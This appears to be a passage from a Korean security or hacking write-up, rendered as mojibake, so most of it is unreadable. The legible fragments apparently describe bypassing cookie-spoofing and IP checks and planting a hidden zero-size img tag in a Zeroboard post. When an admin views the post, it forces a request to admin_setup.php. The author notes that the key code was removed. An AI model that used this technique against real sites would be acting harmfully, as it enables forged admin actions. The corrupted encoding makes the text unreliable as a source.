ÇØÄ¿ÀÇ Cookie Spoofing °ø°ÝÀ» ¹æÁöÇÏ´Â CGI º¸¾È ·çƾÀ» ¿ìȸÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ¼­ ¾Ë¾Æº¸¾Ò½À´Ï´Ù. ÀÌ·¯ÇÑ ¹æ¹ýÀ¸·Î IP ÀÎÁõ üũ¸¦ ³Ñ¾î°¥ ¼ö ÀÖ½À´Ï´Ù. location.href °´Ã¼¸¦ ÀÌ¿ëÇÑ °ÍÀº ÇÑ °¡Áö ¿¹¸¦ µç °ÍÀÏ »ÓÀ̰í, ´Ù¸¥ °ÍµéÀ» ÀÌ¿ëÇÏ¿© ´õ ¸¹Àº °ÍµéÀ» ÇÒ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù.

±×¸®°í, À§¿Í ¶È°°Àº ±â´ÉÀÇ ÇØÅ·À» ÇÒ ¶§, À§¿¡¼­ ¼³¸íÇÑ °Íº¸´Ù ÈξÀ ´õ ½¬¿î ¹æ¹ýÀÌ ÀÖ½À´Ï´Ù. ¹Ù·Î ±ÛÀ» ¾µ¶§ HTMLÀÇ <img> ű׸¦ ÀÌ¿ëÇÏ¿© Á¦·Îº¸µå º»¹®¿¡ »ðÀÔÇÏ´Â °ÍÀÔ´Ï´Ù. img ¿ª½Ã GET ¿äûÀ̱⠶§¹®¿¡ À§¿¡¼­ ´Ù·ç¾ú´ø °Í°ú °°Àº °á°ú¸¦ ³¾ ¼ö ÀÖ½À´Ï´Ù. ¹®Á¦°¡ µÉ ¼ö ÀÖ´Â ÁÖ¿ä ÄÚµå´Â »èÁ¦ÇÏ¿´½À´Ï´Ù.

 

<img src=//ÁÖ¿ä ÄÚµå »èÁ¦ width=0 height=0 >

 

ÀÌ·¯ÇÑ ³»¿ëÀÇ °Ô½Ã¹°À» Admin ÀÌ º¸°ÔµÇ¸é, 3. ±â¼úÀûÀÎ ³»¿ëÀÇ °úÁ¤À» ¼öÇàÇØ¼­ ¾òÀº °Í°ú ¶È°°Àº °ÍÀ» ÇØÄ¿´Â ¾ò¾î³¾ ¼ö ÀÖ½À´Ï´Ù. img ű׸¦ ÀÌ¿ëÇÏ¿© Client °¡, admin_setup.php ¸¦ ¿äûÇϰԲû ¸¸µå´Â ±â¼úÀÔ´Ï´Ù. img ÅÂ±× À̿ܿ¡µµ Client °¡ ƯÁ¤ ÆäÀÌÁö¸¦ ¿äûÇÏ°Ô ¸¸µé¼ö¸¸ ÀÖ´Ù¸é ¾î´À ÅÂ±×¶óµµ °¡´ÉÇÕ´Ï´Ù. (¿¹¸¦ µé¸é, embed µîÀÇ Å±×) °Ô´Ù°¡ ÀÌ °ø°ÝÀº, width °°Àº, °´Ã¼ÀÇ ±æÀÌ ¼³Á¤À» 0 À¸·Î ¸¸µé¾î¹ö¸®¸é, À¥ºê¶ó¿ìÀú »ç¿ëÀÚÀÇ ´«¿¡ ¶çÁöµµ ¾Ê±â ¶§¹®¿¡ ÇØÄ¿°¡ ¸¶À½¸¸ ¸Ô´Â´Ù¸é JavaScript¸¦ ¾²Áö ¾Ê°íµµ ½±°Ô ÇØÅ· ÇÏ´Â °ÍÀÌ °¡´ÉÇÒ ¼ö ÀÖ½À´Ï´Ù.

ÀÌ·¯ÇÑ °£´ÜÇÑ ¹æ¹ýµµ ÀÖÁö¸¸ ÀÌ ¹®¼­¿¡¼­ location.href ¸¦ ÀÌ¿ëÇÑ º¹ÀâÇÑ ¹æ¹ýÀ» ±â¼úÇÑ ÀÌÀ¯´Â, ÀÌ ¹®¼­¿¡¼­ »ç¿ëÇÑ ¹æ¹ýÀ» ÀÀ¿ëÇϸé ÀÌ ¿Ü¿¡µµ ¿©·¯ °¡Áö ÇØÅ·À» ÇÒ ¼ö ÀÖ´Ù´Â °¡´É¼º¿¡ ´ëÇØ¼­ ¸»ÇϰíÀÚ ÇÏ´Â Àǵµ¿´½À´Ï´Ù.